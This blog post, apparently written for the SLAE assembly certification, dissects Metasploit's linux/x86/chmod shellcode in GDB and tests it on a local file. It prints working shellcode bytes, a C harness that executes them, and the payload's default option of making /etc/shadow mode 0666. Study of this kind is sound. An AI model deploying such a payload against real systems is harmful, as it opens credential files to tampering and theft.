SLAE-473 ASSIGNMENT #5-3 msfpayload linux/x86/chmod Analysis

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.

The goal of this assignment is to take three x86/Linux shellcode samples from Metasploit’s Msfpayload tool, use GDB/Ndisasm/Libemu to dissect their functionality and present an analysis.

For this blog post I will be specifically analyzing the linux/x86/chmod payload.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.

This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.

Methodology

  1. Obtain as much information about the payload as possible through documentation. How does it work, expected parameters, end result once detonated
  2. Analyze payload using Gnu GDB
  3. Test shellcode

Payload Information

We can obtain a summary on the payload by passing the S for summary switch to msfpayload

$ msfpayload linux/x86/chmod S
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

 Name: Linux Chmod
 Module: payload/linux/x86/chmod
 Platform: Linux
 Arch: x86
Needs Admin: No
 Total size: 158
 Rank: Normal

Provided by:
 kris katterjohn <katterjohn@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)

Description:
 Runs chmod on specified file with specified mode

We can see the payload target platform and architecture is Linux x86.

The size is 158 bytes.

The payload accepts two parameters, FILE and MODE, which are required. We can assume that the FILE parameter is used to specify the file that will have its mode bits changed and MODE will be the final octal representing the new mode.

We can confirm from the description that the payload will ‘Runs chmod on specified file with specified mode’.

Analyze using GDB

Msfpayload allows the user to specify different output formats of the payload, such as raw machine code, Dll, Python, etc. We are interested in the ‘c’ option which outputs a c language character array of hex bytes.

Note: “GDB, the GNU Project debugger, allows you to see what is going on `inside’ another program while it executes” http://www.gnu.org/software/gdb/

So let’s generate the payload using msfpayload and specify ‘testfile.txt’ as the file to change mode on and ‘666’ will be the new mode set on the file.

$ msfpayload linux/x86/chmod FILE=/home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt MODE=666 c
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
/*
 * linux/x86/chmod - 96 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, 
FILE=/home/remote * /Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt, 
 * MODE=666
 */
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x48\x00\x00\x00\x2f\x68\x6f\x6d\x65"
"\x2f\x72\x65\x6d\x6f\x74\x65\x2f\x44\x72\x6f\x70\x62\x6f\x78"
"\x2f\x50\x65\x6e\x74\x65\x73\x74\x69\x6e\x67\x2f\x53\x4c\x41"
"\x45\x5f\x65\x78\x65\x72\x63\x69\x73\x65\x73\x2f\x61\x73\x73"
"\x69\x67\x6e\x6d\x65\x6e\x74\x35\x2f\x74\x65\x73\x74\x66\x69"
"\x6c\x65\x2e\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

Let’s paste this into a c skeleton code ready to compile and debug.

#include<stdio.h>
#include<string.h>

/*
 * linux/x86/chmod - 96 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, 
FILE=/home/remote * /Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt, 
 * MODE=666
 */
unsigned char code[] = 
"\x99\x6a\x0f\x58\x52\xe8\x48\x00\x00\x00\x2f\x68\x6f\x6d\x65"
"\x2f\x72\x65\x6d\x6f\x74\x65\x2f\x44\x72\x6f\x70\x62\x6f\x78"
"\x2f\x50\x65\x6e\x74\x65\x73\x74\x69\x6e\x67\x2f\x53\x4c\x41"
"\x45\x5f\x65\x78\x65\x72\x63\x69\x73\x65\x73\x2f\x61\x73\x73"
"\x69\x67\x6e\x6d\x65\x6e\x74\x35\x2f\x74\x65\x73\x74\x66\x69"
"\x6c\x65\x2e\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";


main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

Compile

$ gcc -o ./chmod_shellcode_skeleton chmod_shellcode_skeleton.c -fno-stack-protector -z execstack

Not forgetting to create our testfile.txt

$ touch testfile.txt

Check the test file’s mode

$ stat testfile.txt 
 File: `testfile.txt'
 Size: 0 Blocks: 8 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 1179666 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ remote) Gid: ( 1001/ remote)
Access: 2015-06-09 03:40:07.518436437 -0400
Modify: 2015-06-09 03:40:05.498516950 -0400
Change: 2015-06-09 03:40:07.510436755 -0400
 Birth: -

I’m going to install a gdbinit from https://github.com/gdbinit/gdbinit script which will set our gdb environment up for better screen display.

Let’s fire her up and see what we have.

$ gdb -q ./chmod_shellcode_skeleton 
Reading symbols from /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/chmod_shellcode_skeleton...(no debugging symbols found)...done.
gdb$ break main
Breakpoint 1 at 0x804841f

First thing is to break on main() function and run

gdb$ r
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000
--------------------------------------------------------------------------[regs]
 EAX: 0xBFFFF4E4 EBX: 0xB7FBDFF4 ECX: 0xBD7D9C62 EDX: 0x00000001 o d I t s Z a P c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF438 EIP: 0x0804841F
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------
=> 0x804841f <main+3>: and esp,0xfffffff0 0x8048422 <main+6>: sub esp,0x20 0x8048425 <main+9>: mov DWORD PTR [esp+0x4],0x60 0x804842d <main+17>: mov DWORD PTR [esp],0x80484e0 0x8048434 <main+24>: call 0x8048300 <printf@plt> 0x8048439 <main+29>: mov DWORD PTR [esp+0x1c],0x80496c0 0x8048441 <main+37>: mov eax,DWORD PTR [esp+0x1c] 0x8048445 <main+41>: <span style="color:#0000ff;">call eax</span> -------------------------------------------------------------------------------- Breakpoint 1, 0x0804841f in main ()</pre> We can see that our shellcode is executed from the <span style="color:#0000ff;">call eax</span> Set a break at 0x8048445 and take a look at the instruction there <pre>gdb$ b *0x8048445 Breakpoint 2 at 0x8048445 gdb$ c Shellcode Length: 96 --------------------------------------------------------------------------[regs] EAX: 0x080496C0 EBX: 0xB7FBDFF4 ECX: 0xBFFFF3F8 EDX: 0xB7FBF360 o d I t S z A p c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF410 EIP: 0x08048445 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------

=> 0x8048445 <main+41>: call eax
0x8048447 <main+43>: leave
0x8048448 <main+44>: ret
0x8048449: nop
0x804844a: nop
0x804844b: nop
0x804844c: nop
0x804844d: nop
——————————————————————————–

Breakpoint 2, 0x08048445 in main ()

Use the disassemble /r command to display the memory contents at where EAX is pointing because this is the address call is made to.

gdb$ disassemble /r $eax
Dump of assembler code for function code:
 0x080496c0 <+0>: 99 cdq 
 0x080496c1 <+1>: 6a 0f push 0xf
 0x080496c3 <+3>: 58 pop eax
 0x080496c4 <+4>: 52 push edx
 0x080496c5 <+5>: e8 48 00 00 00 call 0x8049712 <code+82>
 0x080496ca <+10>: 2f das 
 0x080496cb <+11>: 68 6f 6d 65 2f push 0x2f656d6f
 0x080496d0 <+16>: 72 65 jb 0x8049737
 0x080496d2 <+18>: 6d ins DWORD PTR es:[edi],dx
 0x080496d3 <+19>: 6f outs dx,DWORD PTR ds:[esi]
 0x080496d4 <+20>: 74 65 je 0x804973b
 0x080496d6 <+22>: 2f das 
 0x080496d7 <+23>: 44 inc esp
 0x080496d8 <+24>: 72 6f jb 0x8049749
 0x080496da <+26>: 70 62 jo 0x804973e
 0x080496dc <+28>: 6f outs dx,DWORD PTR ds:[esi]
 0x080496dd <+29>: 78 2f js 0x804970e <code+78>
 0x080496df <+31>: 50 push eax
 0x080496e0 <+32>: 65 6e outs dx,BYTE PTR gs:[esi]
 0x080496e2 <+34>: 74 65 je 0x8049749
 0x080496e4 <+36>: 73 74 jae 0x804975a
 0x080496e6 <+38>: 69 6e 67 2f 53 4c 41 imul ebp,DWORD PTR [esi+0x67],0x414c532f
 0x080496ed <+45>: 45 inc ebp
 0x080496ee <+46>: 5f pop edi
 0x080496ef <+47>: 65 gs
 0x080496f0 <+48>: 78 65 js 0x8049757
 0x080496f2 <+50>: 72 63 jb 0x8049757
 0x080496f4 <+52>: 69 73 65 73 2f 61 73 imul esi,DWORD PTR [ebx+0x65],0x73612f73
 0x080496fb <+59>: 73 69 jae 0x8049766
 0x080496fd <+61>: 67 6e outs dx,BYTE PTR ds:[si]
 0x080496ff <+63>: 6d ins DWORD PTR es:[edi],dx
 0x08049700 <+64>: 65 6e outs dx,BYTE PTR gs:[esi]
 0x08049702 <+66>: 74 35 je 0x8049739
 0x08049704 <+68>: 2f das 
 0x08049705 <+69>: 74 65 je 0x804976c
 0x08049707 <+71>: 73 74 jae 0x804977d
 0x08049709 <+73>: 66 69 6c 65 2e 74 78 imul bp,WORD PTR [ebp+eiz*2+0x2e],0x7874
 0x08049710 <+80>: 74 00 je 0x8049712 <code+82>
 0x08049712 <+82>: 5b pop ebx
 0x08049713 <+83>: 68 b6 01 00 00 push 0x1b6
 0x08049718 <+88>: 59 pop ecx
 0x08049719 <+89>: cd 80 int 0x80
 0x0804971b <+91>: 6a 01 push 0x1
 0x0804971d <+93>: 58 pop eax
 0x0804971e <+94>: cd 80 int 0x80
 0x08049720 <+96>: 00 00 add BYTE PTR [eax],al

With a cursory view we can see that in this code block makes one call to 0x8049712 at 0x080496c5. We know that if this is a syscall then EAX will contain the syscall number. EAX contains 0xf. We search http://syscalls.kernelgrok.com/ for 0x0f and we get

# Name Registers Definition
eax ebx ecx edx esi edi
15 sys_chmod 0x0f const char __user *filename mode_t mode fs/open.c:507

Perfect, exactly what we expected.

Check man docs

$ man 2 chmod
CHMOD(2) Linux Programmer's Manual CHMOD(2)

NAME
 chmod, fchmod - change permissions of a file
...
 int chmod(const char *path, mode_t mode);
...
DESCRIPTION
 These system calls change the permissions of a file. They differ only in how the file is specified:

 * chmod() changes the permissions of the file specified whose pathname is given in path, which is deref‐
 erenced if it is a symbolic link.

Interesting, we need to identify where in the code the path and mode are set. Perhaps a stepi into the call. I stepi all the way upto the software interrupt for chmod

gdb$ stepi
--------------------------------------------------------------------------[regs]
 EAX: 0x0000000F EBX: 0x080496CA ECX: 0x000001B6 EDX: 0x00000000 o d I t S z A p c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF438 ESP: 0xBFFFF408 EIP: 0x08049719
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------
=> 0x8049719 <code+89>: int 0x80 0x804971b <code+91>: push 0x1 0x804971d <code+93>: pop eax 0x804971e <code+94>: int 0x80 0x8049720 <code+96>: add BYTE PTR [eax],al 0x8049722: add BYTE PTR [eax],al 0x8049724 : add BYTE PTR [eax],al 0x8049726: add BYTE PTR [eax],al -------------------------------------------------------------------------------- 0x08049719 in code ()

We know that parameters passed to the syscall will be placed in the cpu registers.

EAX = syscall, EBX = path, and ECX = mode. This is a guess.

Let’s check by printing them out

gdb$ print $eax
$1 = 0xf
gdb$ x /sb $ebx
0x80496ca <code+10>: "/home/remote/Dropbox/Pentesting/SLAE_exercises/assignment5/testfile.txt"
gdb$ print $ecx
$3 = 0x1b6

Exactly as expected. Note 0x1b6 = 666octal

If we continue the stepi we end up at 0x804971b the next syscall has 01x in EAX which is

# Name Registers Definition
eax ebx ecx edx esi edi
1 sys_exit 0x01 int error_code kernel/exit.c:1046

the exit() syscall. Perfect.

Complete the program execution

gdb$ c
[Inferior 1 (process 4269) exited with code 0312]
--------------------------------------------------------------------------[regs]
 EAX:Error while running hook_stop:
No registers.

Testing

Let’s check the testfile.txt mode and whether it has changed from ‘644’ to ‘666’

$ stat testfile.txt 
 File: `testfile.txt'
 Size: 0 Blocks: 8 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 1179666 Links: 1
Access: (0666/-rw-rw-rw-) Uid: ( 1000/ remote) Gid: ( 1001/ remote)
Access: 2015-06-09 19:23:28.643204658 -0400
Modify: 2015-06-09 03:40:05.498516950 -0400
Change: 2015-06-09 19:23:28.575200823 -0400
 Birth: -

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473


One thought on “SLAE-473 ASSIGNMENT #5-3 msfpayload linux/x86/chmod Analysis

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s